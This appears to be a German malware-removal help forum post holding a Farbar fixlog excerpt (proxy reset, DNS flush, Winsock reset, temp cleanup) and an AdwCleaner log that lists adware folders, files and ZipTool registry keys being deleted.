HKU\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => Wert erfolgreich entfernt
HKU\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => Wert erfolgreich entfernt
HKU\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => Wert erfolgreich entfernt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => Wert erfolgreich entfernt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => Wert erfolgreich entfernt


========= Ende von RemoveProxy: =========


========= ipconfig /flushdns =========


Windows-IP-Konfiguration

Der DNS-Aufl”sungscache wurde geleert.

========= Ende von CMD: =========


========= netsh winsock reset =========


Der Winsock-Katalog wurde zur乧kgesetzt.
Sie m乻sen den Computer neu starten, um den Vorgang abzuschlie醗n.


========= Ende von CMD: =========


=========== EmptyTemp: ==========

BITS transfer queue => 8388608 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 30731356 B
Java, Flash, Steam htmlcache => 339396491 B
Windows/system/drivers => 277349206 B
Edge => 0 B
Chrome => 370606 B
Firefox => 750373860 B
Opera => 0 B

Temp, IE cache, history, cookies, recent:
Default => 0 B
Users => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 274721 B
systemprofile32 => 226868581 B
LocalService => 12462935 B
NetworkService => 45722 B
Nick Schuster => 18298936312 B

RecycleBin => 0 B
EmptyTemp: => 18.6 GB tempor鋜e Dateien entfernt.

================================


Das System musste neu gestartet werden.

==== Ende von Fixlog 15:37:35 ====

NexsReloaded 05.06.2017 16:10
AdwCleaner Logfile:
Code:
# AdwCleaner v6.047 - Bericht erstellt am 05/06/2017 um 15:51:50
# Aktualisiert am 19/05/2017 von Malwarebytes
# Datenbank : 2017-06-02.2 [Server]
# Betriebssystem : Windows 8.1  (X64)
# Benutzername : Nick Schuster - RAZERLAP
# Gestartet von : C:\Users\Nick Schuster\Desktop\adwcleaner_6.047.exe
# Modus: L鰏chen
# Unterst黷zung : https://www.malwarebytes.com/support



***** [ Dienste ] *****



***** [ Ordner ] *****

[-] Ordner gel鰏cht: C:\ProgramData\f9d60eee-41f5-0
[-] Ordner gel鰏cht: C:\ProgramData\f9d60eee-5313-1
[-] Ordner gel鰏cht: C:\Users\Nick Schuster\AppData\Local\0D8F6370-1479923345-81E4-3884-0071C2420BD3
[-] Ordner gel鰏cht: C:\Users\Nick Schuster\AppData\Roaming\SNDA
[-] Ordner gel鰏cht: C:\Users\Nick Schuster\AppData\Roaming\Softlink
[-] Ordner gel鰏cht: C:\Users\Nick Schuster\AppData\Roaming\Enigma Software Group
[-] Ordner gel鰏cht: C:\ProgramData\7b24ec7cc000461ebe26d116b88142c8
[#] Ordner mit Neustart gel鰏cht: C:\ProgramData\Application Data\7b24ec7cc000461ebe26d116b88142c8
[-] Ordner gel鰏cht: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\System Healer
[-] Ordner gel鰏cht: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\Interstatnogui
[-] Ordner gel鰏cht: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\AdvinstAnalytics
[-] Ordner gel鰏cht: C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\naweriweentcofise
[-] Ordner gel鰏cht: C:\Windows\SysWOW64\sstmp
[-] Ordner gel鰏cht: C:\Windows\Update\psgo


***** [ Dateien ] *****

[-] Datei gel鰏cht: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\BigFarm.lnk
[-] Datei gel鰏cht: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\big_bang_empire.lnk
[-] Datei gel鰏cht: C:\Windows\SysNative\log\iSafeKrnlCall.log
[-] Datei gel鰏cht: C:\Windows\SysNative\bi3.exe
[-] Datei gel鰏cht: C:\Windows\SysNative\drivers\iSafeKrnlBoot.sys
[-] Datei gel鰏cht: C:\Windows\SysNative\drivers\iSafeNetFilter.sys
[-] Datei gel鰏cht: C:\TOSTACK
[-] Datei gel鰏cht: C:\Windows\SysWOW64\sh4native.exe
[-] Datei gel鰏cht: C:\Users\Public\Documents\report.dat


***** [ DLL ] *****



***** [ WMI ] *****



***** [ Verkn黳fungen ] *****



***** [ Aufgabenplanung ] *****



***** [ Registrierungsdatenbank ] *****

[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\services\Recover
[-] Schl黶sel gel鰏cht: [x64] HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\services\AppleCloudSvc
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\Prod.cap
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.001
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.002
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.003
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.004
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.005
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.006
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.007
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.008
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.009
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.01
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.010
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.011
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.012
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.013
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.014
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.015
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.016
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.017
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.018
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.019
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.02
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.020
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.021
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.022
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.023
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.024
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.025
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.026
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.027
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.028
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.029
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.03
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.030
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.031
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.032
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.033
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.034
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.035
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.036
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.037
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.038
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.039
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.04
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.040
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.041
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.042
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.043
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.044
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.045
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.046
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.047
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.048
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.049
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.05
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.050
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.051
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.052
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.053
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.054
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.055
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.056
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.057
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.058
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.059
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.06
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.060
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.061
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.062
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.063
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.064
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.065
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.066
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.067
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.068
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.069
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.07
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.070
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.071
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.072
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.073
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.074
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.075
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.076
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.077
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.078
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.079
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.08
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.080
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.081
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.082
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.083
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.084
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.085
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.086
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.087
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.088
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.089
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.09
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.090
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.091
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.092
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.093
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.094
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.095
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.096
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.097
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.098
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.099
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.7z
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.arj
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.bz2
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.cab
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.gz
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.gzip
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.iso
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.jar
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.lzh
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.rar
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.rpm
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.tar
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.tbz
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.tgz
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.wim
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.z
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\ZipTool.zip
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\Prod.cap
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.001
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.002
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.003
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.004
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.005
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.006
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.007
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.008
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.009
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.01
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.010
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.011
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.012
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.013
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.014
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.015
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.016
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.017
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.018
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.019
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.02
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.020
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.021
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.022
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.023
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.024
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.025
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.026
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.027
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.028
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.029
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.03
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.030
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.031
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.032
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.033
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.034
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.035
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.036
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.037
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.038
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.039
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.04
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.040
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.041
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.042
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.043
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.044
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.045
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.046
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.047
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.048
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.049
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.05
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.050
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.051
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.052
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.053
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.054
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.055
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.056
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.057
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.058
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.059
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.06
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.060
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.061
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.062
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.063
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.064
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.065
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.066
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.067
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.068
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.069
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.07
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.070
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.071
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.072
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.073
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.074
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.075
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.076
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.077
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.078
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.079
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.08
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.080
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.081
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.082
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.083
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.084
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.085
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.086
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.087
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.088
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.089
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.09
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.090
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.091
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.092
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.093
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.094
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.095
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.096
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.097
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.098
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.099
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.7z
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.arj
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.bz2
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.cab
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.gz
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.gzip
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.iso
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.jar
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.lzh
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.rar
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.rpm
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.tar
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.tbz
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.tgz
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.wim
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.z
[#] Schl黶sel mit Neustart gel鰏cht: [x64] HKLM\SOFTWARE\Classes\ZipTool.zip
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\AppID\{1C6F51F8-BCE6-4702-8952-6A8233359FBC}
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\CLSID\{FF20459C-DA6E-41A7-80BC-8F4FEFD9C575}
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\CLSID\{73F208F0-628E-4E2C-A8E5-E7A06B71AB01}
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\CLSID\{735CBB11-3E26-4197-9B1D-8E26F2AE9E66}
[-] Schl黶sel gel鰏cht: HKLM\SOFTWARE\Classes\CLSID\{E3605470-291B-44EB-8648-745EE356599A}
